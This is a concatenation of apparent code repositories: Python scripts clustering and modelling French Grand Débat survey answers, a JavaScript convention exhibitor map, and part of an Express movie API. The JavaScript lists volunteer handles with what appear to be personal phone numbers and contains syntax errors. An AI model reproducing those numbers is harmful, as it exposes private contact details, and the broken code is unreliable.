<file_sep># -*- coding: utf-8 -*- import pandas as pd import pathlib def read_data(filename: str): """ Read the json file and convert it into a pd.DataFrame preprocessing: format datetime Args: filename: json filename Returns: pd.DataFrame """ assert filename.endswith('.json'), 'filename should be a json file' assert pathlib.Path(filename).exists(), 'filename does not exists' df = pd.read_json(filename) df = df.assign(createdAt=pd.to_datetime(df.createdAt), publishedAt=pd.to_datetime(df.publishedAt), updatedAt=pd.to_datetime(df.updatedAt)) # remove trashed data df = df[~df.trashed] return df def extract_responses_by_id(responses: list, key: str='138'): """ Extract a specific question Args: responses: list (example df.iloc[0].responses) key: questionId (example '142') Returns: responses as a string """ response = [x['formattedValue'] for x in responses if x['questionId'] == key] if len(response): return response[0] else: return None def get_responses(df: pd.DataFrame): """ Extract responses and return a pd.DataFrame with columns: authorId, questionId, formattedValue Args: df: dataframe from read_data Returns: pd.DataFrame with responses """ responses = [] for i, x in df.iterrows(): df_tmp = (pd.DataFrame(x.responses). filter(['questionId', 'formattedValue']). assign(authorId=x.authorId)) responses.append(df_tmp) return pd.concat(responses, ignore_index=True) def get_ids_open_reponses(df: pd.DataFrame): """ Return the ids of open questions i.e does not have a predefined set of possible responses """ list_questions = df.iloc[0].responses ids_open_questions = [x['questionId'] for x in list_questions if x['value'] is None or '{"labels"' not in x['value']] return ids_open_questions def get_open_reponses(df: pd.DataFrame): """ Filter the data to only return non empty open responses Args: df: dataframe from read_data Returns: pd.DataFrame """ df_open = get_responses(df) ids_open = get_ids_open_reponses(df) df_open = df_open[df_open.questionId.isin(ids_open)] df_open = df_open[~pd.isnull(df_open.formattedValue)] return df_open <file_sep># -*- coding: utf-8 -*- import itertools import string from collections import Counter from nltk.corpus import stopwords from nltk.tokenize import word_tokenize from stop_words import get_stop_words x = df_open[df_open.questionId == '107'] answers = x.formattedValue.values.tolist() answers = ' '.join(answers) answers = answers.lower() stop_words = set(stopwords.words('french') + list(string.punctuation) + get_stop_words('fr')) word_tokens = word_tokenize(answers, language='french') words = [x for x in word_tokens if x not in stop_words] cnt = Counter(words) cnt.most_common(20) <file_sep>[LocalizedFileNames] LA_TRANSITION_ECOLOGIQUE.csv=@LA_TRANSITION_ECOLOGIQUE.csv,0 <file_sep># -*- coding: utf-8 -*- """ Simple Kmeans clustering with TF-IDF features """ from sklearn.feature_extraction.text import TfidfVectorizer from nltk.corpus import stopwords from nltk.tokenize import word_tokenize import string import stop_words from sklearn.cluster import KMeans # import matplotlib.pyplot as plt import pandas as pd def get_stop_words(): custom_stop_words = set(stopwords.words('french') + list(string.punctuation) + stop_words.get_stop_words('fr')) return custom_stop_words def tokenize(text): return word_tokenize(text, language='french') def kmeans_tfidf(df_responses: pd.DataFrame, n_clusters: int = 8, max_features: int = 3000, questionId: str = '107'): """ """ responses = df_responses[df_responses.questionId == '107'] answers = responses.formattedValue.str.lower().values.tolist() custom_stop_words = get_stop_words() vectorizer = TfidfVectorizer(stop_words=custom_stop_words, tokenizer=tokenize, max_features=max_features) X = vectorizer.fit_transform(answers) words = vectorizer.get_feature_names() # elbow methods # wcss = [] # for i in range(1, 11): # kmeans = KMeans(n_clusters=i, init='k-means++', # max_iter=300, n_init=10, random_state=0) # kmeans.fit(X3) # wcss.append(kmeans.inertia_) # plt.plot(range(1, 11), wcss) # plt.title('The Elbow Method') # plt.xlabel('Number of clusters') # plt.ylabel('WCSS') # # plt.savefig('elbow.png') # plt.show() kmeans = KMeans(n_clusters=n_clusters, n_init=20, n_jobs=-1) kmeans.fit(X) # Finally, we look at the clusters generated by k-means. common_words = kmeans.cluster_centers_.argsort()[:, -1:-26:-1] for num, centroid in enumerate(common_words): print(str(num) + ' : ' + ', '.join(words[word] for word in centroid)) return kmeans, common_words <file_sep># -*- coding: utf-8 -*- from src.kmeans_embeddings import FeaturesExtractor from src.utils import (read_data, get_open_reponses) from sklearn.cluster import KMeans import numpy as np import pandas as pd if __name__ == '__main__': df = read_data('QO/DEMOCRATIE_ET_CITOYENNETE.json') df_responses = get_open_reponses(df) responses = (df_responses[df_responses.questionId == '107']. formattedValue.values.tolist()) # Extract embeddings for sentences s = FeaturesExtractor() features = [s.get_features(x) for x in responses] features_np = np.array(features) samples_id = np.random.choice(range(len(features)), 5000) features_np_samples = features_np[samples_id, :] np.savetxt('features_s.tsv', features_np_samples, delimiter='\t') responses_samples = [responses[i] for i in samples_id] with open('labels_s.tsv', 'w') as f: for resp in responses_samples: v = resp.replace('\n', '. ') v = v.replace('\t', '. ') f.write('{}\n'.format(v)) # Fit Kmeans k = KMeans(n_clusters=15) k.fit(np.array(features)) # print samples from each clusters df = pd.DataFrame({'label': k.labels_, 'response': responses}) for label in df.label.unique(): print('label {}'.format(label)) samples = [x for x in df[df.label == label].sample(10).response.tolist()] for sample in samples: print(sample) print('#'*20) <file_sep># -*- coding: utf-8 -*- import fastText from sklearn.feature_extraction.text import TfidfVectorizer from nltk.corpus import stopwords from nltk.tokenize import word_tokenize import string import stop_words import pathlib def tokenize(text): return word_tokenize(text, language='french') class FeaturesExtractor: """ Handle features extractions based on word embeddings (fasttext) """ def __init__(self, model_path: str = 'data/cc.fr.300.bin'): assert model_path.endswith('.bin'), 'model_path should be a .bin file' assert pathlib.Path(model_path).exists(), 'model_path does not exists' self.stop_words = set(stopwords.words('french') + list(string.punctuation) + stop_words.get_stop_words('fr')) print(('loading model could take a while...' ' and takes up to 7GO of RAM')) self.model = fastText.load_model(model_path) def get_features(self, response: str): """ """ assert type(response) == str, 'response must be a string' words = tokenize(response) words = [x for x in words if x not in self.stop_words] return self.model.get_sentence_vector(' '.join(words)) # if __name__ == "__main__": # s = FeaturesExtractor() # features = [s.get_features(x) for x in responses] # from sklearn.cluster import KMeans # k = KMeans(n_clusters=15) # k.fit(np.array(features)) # df = pd.DataFrame({'label': k.labels_, 'response': responses}) # for label in df.label.unique(): # print('label {}'.format(label)) # samples = [x for x in df[df.label==label].sample(10).response.tolist()] # for sample in samples: # print(sample) # print('#'*20) <file_sep># Installation ```bash git clone cd virtualenv -p python3 env source env/bin/activate pip install -r requirements.txt ``` Installation fastText: ``` git clone https://github.com/facebookresearch/fastText cd fastText python setup.py install ``` Téléchargement des données du Grand Debat: ```bash wget http://opendata.auth-6f31f706db6f4a24b55f42a6a79c5086.storage.sbg5.cloud.ovh.net/2019-02-06/LA_TRANSITION_ECOLOGIQUE.json -P data/ wget http://opendata.auth-6f31f706db6f4a24b55f42a6a79c5086.storage.sbg5.cloud.ovh.net/2019-02-06/LA_FISCALITE_ET_LES_DEPENSES_PUBLIQUES.json -P data/ wget http://opendata.auth-6f31f706db6f4a24b55f42a6a79c5086.storage.sbg5.cloud.ovh.net/2019-02-06/DEMOCRATIE_ET_CITOYENNETE.json -P data/ wget http://opendata.auth-6f31f706db6f4a24b55f42a6a79c5086.storage.sbg5.cloud.ovh.net/2019-02-06/ORGANISATION_DE_LETAT_ET_DES_SERVICES_PUBLICS.json -P data/ ``` Téléchargement données pour FastText (word embeddings) Download French pre-trained model at: https://fasttext.cc/docs/en/crawl-vectors.html # docs https://nbviewer.jupyter.org/github/rare-technologies/gensim/blob/develop/docs/notebooks/atmodel_tutorial.ipynb <file_sep>import numpy as np import pandas as pd import random import keras from keras.models import Sequential from keras.layers import Dense from keras.layers import Dropout from keras.layers import GRU from keras.callbacks import ModelCheckpoint def get_text(data, size_min = 1000): relevant_columns_id = [11, 13, 15, 16, 17, 19, 21, 24, 25] #23 questions = data[data.columns[relevant_columns_id]] raw_text = "" nbs_responses = [] for i in range(len(questions.columns)): k = 0 print(i) for answer in questions[questions.columns[i]].dropna(): if len(answer) <= size_min: continue k += 1 raw_text += answer + " ||| " nbs_responses.append(k) print(len(raw_text)) print(nbs_responses) print("preprocessing of raw_text") raw_text = raw_text.replace('.', ' . ') raw_text = raw_text.replace('\n', ' \n ') raw_text = raw_text.replace('\t', ' ') raw_text = raw_text.replace('\u200e', 'r') raw_text = raw_text.replace('\uf0f9', '') raw_text = raw_text.replace('\u200b', '') raw_text = raw_text.replace('\uf072', '') raw_text = raw_text.replace('\uf0a7', '') raw_text = raw_text.replace('\u2009', ' ') raw_text = raw_text.replace('\u202f', ' ') raw_text = raw_text.replace('\uf0e8', '') raw_text = raw_text.replace('\u2003', '') raw_text = raw_text.replace('\uf0b7', '') raw_text = raw_text.replace('\uf0b8', '') raw_text = raw_text.replace('\uf0e0', '') raw_text = raw_text.replace('\uf04a', '') raw_text = raw_text.replace('\xad', '') raw_text = raw_text.replace('\uf0d8', '') raw_text = raw_text.replace('\uf0fc', '') raw_text = raw_text.replace('\xa0', '') raw_text = raw_text.replace('\uf0f0', '') return raw_text data = pd.read_csv("LA_TRANSITION_ECOLOGIQUE.csv") raw_text = get_text(data) char_set = sorted(list(set(raw_text))) char_to_int = dict((c, i) for i, c in enumerate(char_set)) int_to_char = dict((i, c) for i, c in enumerate(char_set)) responses = raw_text.split(" ||| ") random.shuffle(responses) X = [] Y = [] seq_max = 100 nb_responses = 200 for response in responses[:nb_responses]: n = 0 response = response + "|" for i in range(len(response)): l = [char_to_int["|"]]*seq_max for j in range(n): l[seq_max-j-1] = char_to_int[response[i-j-1]] if n < seq_max: n += 1 X.append(l) Y.append(char_to_int[response[i]]) print("Sample size :", len(Y)) Y = keras.utils.to_categorical(Y, len(char_set)) X = np.reshape(X, (len(Y), seq_max, 1))/len(char_set) print(X.shape, Y.shape) print("END OF PREPROCESSING") print("BUILDIND MODEL") # define the GRU model model = Sequential() model.add(GRU(256, input_shape=(X.shape[1], X.shape[2]), return_sequences=True)) model.add(Dropout(0.2)) model.add(GRU(256)) model.add(Dropout(0.2)) model.add(Dense(Y.shape[1], activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam') # define the checkpoint filepath="weights-improvement-{epoch:02d}-{loss:.4f}-bigger.hdf5" checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=True, mode='min') callbacks_list = [checkpoint] print("FIT") # fit the model model.fit(X, Y, epochs=50, batch_size=64, callbacks=callbacks_list) print("1st TEST") import sys pattern = [char_to_int["|"]]*100 for i in range(1000): x = numpy.reshape(pattern, (1, len(pattern), 1))/len(char_set) prediction = model.predict(x, verbose=0) index = np.argmax(prediction) result = int_to_char[index] sys.stdout.write(result) pattern.append(index) pattern = pattern[1:len(pattern)] if result == "|": break
af80ff297a31d218222d6d821a18a04e84e2d674
[ "Markdown", "Python", "INI" ]
8
Python
raphaelreme/SD
31822751bf83de1c9aeb9e9be084f97a5624d0f1
b1ba856e15e15dc84012e2723870eeaa0a135f3d
refs/heads/master
<file_sep>//This is where you'll need to swap out the names //and info for your PAX, I advise setting up a //spreadsheet in GoogleDocs, so it can be referred //to fo quicker reference. $(document).ready(function() { $("#e10").select2({ var exhibitors = [ { "boothNumber":"3342", "exhibitorName":"Comcast", "sectionNumber":"1", "zoneNumber":"1", "exhibitorAssistant":"Van", "assistantContact":"216-926-4997", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"internet, Comcast" }, { "boothNumber":"3344", "exhibitorName":"Corsair", "sectionNumber":"1", "zoneNumber":"1", "exhibitorAssistant":"Van", "assistantContact":"216-926-4997", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3346", "exhibitorName":"Machinima", "sectionNumber":"1", "zoneNumber":"1", "exhibitorAssistant":"Van", "assistantContact":"216-926-4997", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3444", "exhibitorName":"Klei", "sectionNumber":"1", "zoneNumber":"1", "exhibitorAssistant":"Van", "assistantContact":"216-926-4997", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3630", "exhibitorName":"<NAME>", "sectionNumber":"2", "zoneNumber":"1", "exhibitorAssistant":"Virus", "assistantContact":"203-383-3023", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3646", "exhibitorName":"S2 Games", "sectionNumber":"2", "zoneNumber":"1", "exhibitorAssistant":"Virus", "assistantContact":"203-383-3023", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3330", "exhibitorName":"Xaviant", "sectionNumber":"3", "zoneNumber":"1", "exhibitorAssistant":"Checkmate", "assistantContact":"425-773-9874", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3625", "exhibitorName":"Sony Online Entertainment", "sectionNumber":"3", "zoneNumber":"1", "exhibitorAssistant":"Checkmate", "assistantContact":"425-773-9874", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"sony, " }, { "boothNumber":"3834", "exhibitorName":"<NAME>", "sectionNumber":"3", "zoneNumber":"1", "exhibitorAssistant":"Checkmate", "assistantContact":"425-773-9874", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3828(Satellite)", "exhibitorName":"Logitech", "sectionNumber":"3", "zoneNumber":"1", "exhibitorAssistant":"Checkmate", "assistantContact":"425-773-9874", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3822", "exhibitorName":"Sanshee", "sectionNumber":"3", "zoneNumber":"1", "exhibitorAssistant":"Checkmate", "assistantContact":"425-773-9874", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3603, 3617", "exhibitorName":"Wargaming.net", "sectionNumber":"4", "zoneNumber":"1", "exhibitorAssistant":"WingedVictory", "assistantContact":"440-840-5487", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3808", "exhibitorName":"UDON", "sectionNumber":"4", "zoneNumber":"1", "exhibitorAssistant":"WingedVictory", "assistantContact":"440-840-5487", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3810", "exhibitorName":"<NAME>", "sectionNumber":"4", "zoneNumber":"1", "exhibitorAssistant":"WingedVictory", "assistantContact":"440-840-5487", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3812", "exhibitorName":"Plyngo", "sectionNumber":"4", "zoneNumber":"1", "exhibitorAssistant":"WingedVictory", "assistantContact":"440-840-5487", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3403", "exhibitorName":"Twitch TV", "sectionNumber":"5", "zoneNumber":"1", "exhibitorAssistant":"Evanthesquirrel", "assistantContact":"508-360-7335", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3417", "exhibitorName":"Pokemon", "sectionNumber":"5", "zoneNumber":"1", "exhibitorAssistant":"Evanthesquirrel", "assistantContact":"508-360-7335", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3411", "exhibitorName":"Kixeye", "sectionNumber":"5", "zoneNumber":"1", "exhibitorAssistant":"Evanthesquirrel", "assistantContact":"508-360-7335", "zoneLeader":"WingedVictory", "leaderContact":"440-840-5487", "exhibitorKeywords":"" }, { "boothNumber":"3117", "exhibitorName":"<NAME>", "sectionNumber":"6", "zoneNumber":"2", "exhibitorAssistant":"Azazel", "assistantContact":"530-318-1768", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3217", "exhibitorName":"Capcom", "sectionNumber":"6", "zoneNumber":"2", "exhibitorAssistant":"Azazel", "assistantContact":"530-318-1768", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3010, 3020", "exhibitorName":"<NAME>", "sectionNumber":"7", "zoneNumber":"2", "exhibitorAssistant":"Dannicus", "assistantContact":"952-393-3314", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3002", "exhibitorName":"Spyparty", "sectionNumber":"7", "zoneNumber":"2", "exhibitorAssistant":"Dannicus", "assistantContact":"952-393-3314", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3003, 3004", "exhibitorName":"<NAME>", "sectionNumber":"7", "zoneNumber":"2", "exhibitorAssistant":"Dannicus", "assistantContact":"952-393-3314", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3103", "exhibitorName":"Intel", "sectionNumber":"8", "zoneNumber":"2", "exhibitorAssistant":"Mori-Neko", "assistantContact":"310-713-3225", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3209", "exhibitorName":"<NAME>tainment", "sectionNumber":"8", "zoneNumber":"2", "exhibitorAssistant":"Mori-Neko", "assistantContact":"310-713-3225", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"3203", "exhibitorName":"Gaems", "sectionNumber":"8", "zoneNumber":"2", "exhibitorAssistant":"Mori-Neko", "assistantContact":"310-713-3225", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 9", "exhibitorName":"ThinkGeek", "sectionNumber":"8", "zoneNumber":"2", "exhibitorAssistant":"Mori-Neko", "assistantContact":"310-713-3225", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 7", "exhibitorName":"Chessex", "sectionNumber":"8", "zoneNumber":"2", "exhibitorAssistant":"Mori-Neko", "assistantContact":"310-713-3225", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 1", "exhibitorName":"<NAME>", "sectionNumber":"9", "zoneNumber":"2", "exhibitorAssistant":"<NAME>", "assistantContact":"425-770-5635", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 2", "exhibitorName":"<NAME>", "sectionNumber":"9", "zoneNumber":"2", "exhibitorAssistant":"<NAME>", "assistantContact":"425-770-5635", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 5", "exhibitorName":"<NAME>", "sectionNumber":"9", "zoneNumber":"2", "exhibitorAssistant":"<NAME>", "assistantContact":"425-770-5635", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 10", "exhibitorName":"<NAME>", "sectionNumber":"9", "zoneNumber":"2", "exhibitorAssistant":"<NAME>", "assistantContact":"425-770-5635", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"Sky 3", "exhibitorName":"<NAME>", "sectionNumber":"9", "zoneNumber":"2", "exhibitorAssistant":"<NAME>", "assistantContact":"425-770-5635", "zoneLeader":"Dannicus", "leaderContact":"952-393-3314", "exhibitorKeywords":"" }, { "boothNumber":"2046, 2030, 2014", "exhibitorName":"Bethesda", "sectionNumber":"10", "zoneNumber":"3", "exhibitorAssistant":"LordOwen", "assistantContact":"336-688-8019", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"1642", "exhibitorName":"Wizards of the Coast", "sectionNumber":"10", "zoneNumber":"3", "exhibitorAssistant":"LordOwen", "assistantContact":"336-688-8019", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"814, 1414", "exhibitorName":"2K Games", "sectionNumber":"11", "zoneNumber":"3", "exhibitorAssistant":"Kurpav", "assistantContact":"425-443-8775", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"1814", "exhibitorName":"Logitech", "sectionNumber":"11", "zoneNumber":"3", "exhibitorAssistant":"Kurpav", "assistantContact":"425-443-8775", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"1230", "exhibitorName":"6 ft", "sectionNumber":"12", "zoneNumber":"3", "exhibitorAssistant":"Valkyrion", "assistantContact":"401-787-4982", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"six, feet, foot" }, { "boothNumber":"1430", "exhibitorName":"MSI", "sectionNumber":"12", "zoneNumber":"3", "exhibitorAssistant":"Valkyrion", "assistantContact":"401-787-4982", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"1640", "exhibitorName":"WB Games", "sectionNumber":"12", "zoneNumber":"3", "exhibitorAssistant":"Valkyrion", "assistantContact":"401-787-4982", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"1246", "exhibitorName":"Alienware", "sectionNumber":"13", "zoneNumber":"3", "exhibitorAssistant":"Loki", "assistantContact":"248-535-7778", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { "boothNumber":"1240", "exhibitorName":"EVGA", "sectionNumber":"13", "zoneNumber":"3", "exhibitorAssistant":"Loki", "assistantContact":"248-535-7778", "zoneLeader":"Loki", "leaderContact":"248-535-7778", "exhibitorKeywords":"" }, { boothNumber:"1438", exhibitorName:"Sandisk", sectionNumber:"13", zoneNumber:"3", exhibitorAssistant:"Loki", assistantContact:"248-535-7778", zoneLeader:"Loki", leaderContact:"248-535-7778", exhibitorKeywords:"" }, ]; }); }); function search() { var } /*for (i=0; i<exhibitors.length; i++) { var newBox = document.createElement("div"); newBox.setAttribute("id", "section" + i); newBox.setAttribute("class", "section"); var pTop = exhibitors[i].posTop; var pRight = exhibitors[i].posRight; var pBottom = exhibitors[i].posBottom; var pLeft = exhibitors[i].posLeft; var pWidth = pRight - pLeft; var pHeight = pBottom - pTop; newBox.setAttribute("style", "position:absolute; left:" + pLeft + "px; top:" + pTop + "px; width:" + pWidth + "px; height:" + pHeight + "px; z-index:9000;"); document.body.appendChild(newBox); } window.showMatches = function() { clearError(); var hitCounter = 0; clearMatches(); var searchString = document.getElementById("match").value; for (i=0; i<exhibitors.length; i++) { if ((searchString.trim() !== "") && ((exhibitors[i].boothNumber == searchString) || (exhibitors[i].exhibitorName.toLowerCase().indexOf(searchString.toLowerCase()) !== -1) || (exhibitors[i].exhibitorKeywords.toLowerCase().indexOf(searchString.toLowerCase()) !== -1))) { hitCounter++; document.getElementById(i).style.display = "block"; } } if (hitCounter > 0) { clearForm(); } else { if(searchString.trim() != "") document.getElementById("error").style.display = "block"; } } window.clearMatches = function() { for (i=0; i<exhibitors.length; i++) { document.getElementById(i).style.display = "none"; } } //for (i=0; i<exhibitors.length; i++) { // document.write("<area shape='rect' coords='" + exhibitors[i].posLeft + "," + exhibitors[i].posTop + "," + exhibitors[i].posRight + "," + exhibitors[i].posBottom + "' onclick='highlightBooth(" + i + ");' title='#" + exhibitors[i].boothNumber + " " + exhibitors[i].exhibitorName + "' alt='#" + exhibitors[i].boothNumber + " " + exhibitors[i].exhibitorName + "'>"); // } function highlightBooth(boothID) { var hlDiv = document.getElementById("highlight"); // hlDiv.style.width = (exhibitors[boothID].posRight - exhibitors[boothID].posLeft - 9) + "px"; // hlDiv.style.height = (exhibitors[boothID].posBottom - exhibitors[boothID].posTop - 9) + "px"; // hlDiv.style.top = (exhibitors[boothID].posTop -4) + "px"; // hlDiv.style.left = (exhibitors[boothID].posLeft - 4) + "px"; hlDiv.style.display = "block"; document.getElementById("keywords").textContent = exhibitors[boothID].exhibitorName + " [" + exhibitors[boothID].exhibitorKeywords + "]"; document.getElementById("xaname").textContent = exhibitors[boothID].exhibitorAssistant; document.getElementById("xaphone").innerHTML = "<a href='tel:" + exhibitors[boothID].assistantContact + "'>" + exhibitors[boothID].assistantContact + "</a>"; document.getElementById("zlname").textContent = exhibitors[boothID].zoneLeader; document.getElementById("xaphone").innerHTML = "<a href='tel:" + exhibitors[boothID].leaderContact + "'>" + exhibitors[boothID].leaderContact + "</a>"; console.log("xaname") }; function clearHighlight() { document.getElementById("highlight").style.display = "no"; document.getElementById("keywords").textContent = "No Exhibitor Selected"; } function clearForm() { document.getElementById("matches").value = ""; } function clearAll() { clearHighlight(); clearSections(); clearMatches(); clearForm(); } function showSections() { document.getElementById("allsections").style.display = "block"; for (i=1; i<=45; i++) { document.write("<div onclick='showSection(" + i + ");'>Section " + i + "</div>"); } } function clearSections() { for (i=0; i<exhibitors.length; i++) { document.getElementById("section" + i).style.display ="none"; } } //for (i=1; i<=5; i++) { // document.write("<div onclick='showZone(" + i + ");'>Zone " + i + "</div>"); //} function showZones() { document.getElementById("allzones").style.display = "none"; } });
23c4ef2336d73b544936e733e2f0ea9758db937e
[ "JavaScript" ]
1
JavaScript
ColetteIsabella/map-a-con
9ec43e725444fcaa49a2f3f1019a634818734138
3582256833712303f0d7d625f91ce47a78585b85
refs/heads/master
<file_sep>require_relative 'chain' class Proc def to_lam Object.new.define_singleton_method_ch_(:_, &self).method(:_).to_proc end end <file_sep>module Schmutils module Chain class ::Object def method_missing(m, *a, &b) if (m.to_s[-4..-1] == '_ch_') self.send(:define_singleton_method, m) do |*c, &d| self.send(m.to_s[0..-5].to_sym, *c, &d) self end self.send(m, *a, &b) else super end end end end end
d1c5c4a08ab766fd8d24832af4ec3635af1a41a1
[ "Ruby" ]
2
Ruby
samtell21/Schmutils
c39247e30980162e2ed55a7b4082672972f349e4
87cdc59fd9b3875300b9c6b274201688d8204766
refs/heads/master
<repo_name>Akhilesh133/Sorting-Techniques<file_sep>/README.md # Sorting-Techniques Different Sorting Techniques and their psuedo Codes <file_sep>/bubblesort.cpp #include<bits/stdc++.h> using namespace std; void bubblesort(int a1[],int a) { int i,j; int t; for(i=0;i<a-1;i++) { for(j=0;j<a-i-1;j++) { if(a1[j]>a1[j+1]) { t=a1[j]; a1[j]=a1[j+1]; a1[j+1]=t; } } } } int main() { cout<<"Hi"; int n=7; int arr[7]={13,5,2,7,12,1,10}; cout<<"Array before sort"; for(int i=0;i<n;i++) { cout<<arr[i]<<"\t"; } bubblesort(arr,n); cout<<"Array after sort"; for(int i=0;i<n;i++) { cout<<arr[i]<<"\t"; } return 0; } <file_sep>/merge.cpp #include<bits/stdc++.h> using namespace std; void mergesort(int a[],int b,int m,int c) { int i,j,k,nl,nr; //size of left and right subarrays nl=m-b+1; nr=c-m; //create arrays with that size int lr[nl],rr[nr]; //add elements to this subarrays for(i=0;i<nl;i++) lr[i]=a[b+i]; for(j=0;j<nr;j++) rr[j]=a[m+1+j]; i=0,j=0,k=b; while(i<nl && j< nr) { if(lr[i]<rr[j]) { a[k]=lr[i]; i++; } else { a[k]=rr[j]; j++; } k++; } while(i<nl) { a[k]=lr[i]; i++,k++; } while(j<nr) { a[k]=rr[j]; j++,k++; } } void merge(int a[],int b,int c) { if(b<c) { int m=b+(c-b)/2; merge(a,b,m); merge(a,m+1,c); mergesort(a,b,m,c); } } void display(int a[], int n) { for(int i=0;i<n;i++) cout<<a[i]<<"\t"; } int main() { int a[]= {22,11,4,2,7,12,0,3}; int n= sizeof(a)/sizeof(a[0]); cout<<n<<"\n"; cout<<"Array before sort :"<<"\n"; display(a,n); merge(a,0,n-1); cout<<"Array after sort:"<<"\n"; display(a,n); return 0; }
455a7d1dbed2c0355e316aaf64d001666a42d984
[ "Markdown", "C++" ]
3
Markdown
Akhilesh133/Sorting-Techniques
c2e1cf835dd62c33eea745ece5f0ac3aa10e7018
d133c295d3260afa659b57622f20be0b0b0feab6
refs/heads/master
<repo_name>terrierscript/example-raspi-cross-rust<file_sep>/build.sh cross build --target=arm-unknown-linux-gnueabi
dd3c7b28aa69dfe0e1fdf8c9da54a681d9e7009f
[ "Shell" ]
1
Shell
terrierscript/example-raspi-cross-rust
174b6f3bef5aaa122005b90cea256877ff353135
76209c17422ec8921139ecb89c474dd18c482ead
refs/heads/master
<file_sep>const dotenv = require("dotenv"); dotenv.config(); const express = require("express"); const app = express(); const routes = require("./routes"); const { PORT = 8001, HOSTNAME = "localhost" } = process.env; app.use(express.json()); app.use("/api", routes); app.use((err, req, res, next) => { res.json({ message: err.message }); }); app.listen(PORT, () => { console.log(`Server listening on http://${HOSTNAME}:${PORT}`); }); <file_sep>class Movies { constructor() { this.movies = []; } add(movie) { if (!this.checkIfExists(movie)) { if (this.movies.length === 0) { movie.id = 1; this.movies.push(movie); console.log("Movie succesfully added"); } else { movie.id = this.movies[this.movies.length - 1].id + 1; this.movies.push(movie); console.log("Movie succesfully added"); } return true; } else { return false; } } checkIfExists(movie) { if (movie !== false) { let existingTitles = this.movies.map(x => x.title); if (existingTitles.includes(movie.title)) { return true; } else { return false; } } else { return false; } } findByID(id) { const existingIDs = this.movies.map(x => x.id); if (existingIDs.includes(Number(id))) { const indexOfID = existingIDs.indexOf(Number(id)); return this.movies[indexOfID]; } else { return false; } } update(dataToUpdate, ID) { const movieToUpdate = this.findByID(ID); movieToUpdate.title = dataToUpdate.title; movieToUpdate.year = dataToUpdate.year; console.log(`The movie ID ${movieToUpdate.id} got correctly updated`); return this.findByID(ID); } delete(ID) { const existingIDs = this.movies.map(x => x.id); if (existingIDs.includes(ID)) { const indexOfID = existingIDs.indexOf(ID); if (indexOfID === existingIDs.length - 1) { this.movies.pop(); } else { let firstPartArr = this.movies.slice(0, indexOfID); let lastPartArr = this.movies.slice(indexOfID + 1, this.movies.length); this.movies = firstPartArr.concat(lastPartArr); console.log(this.movies); } } } listByYear() { const set = new Set(); const listByYear = 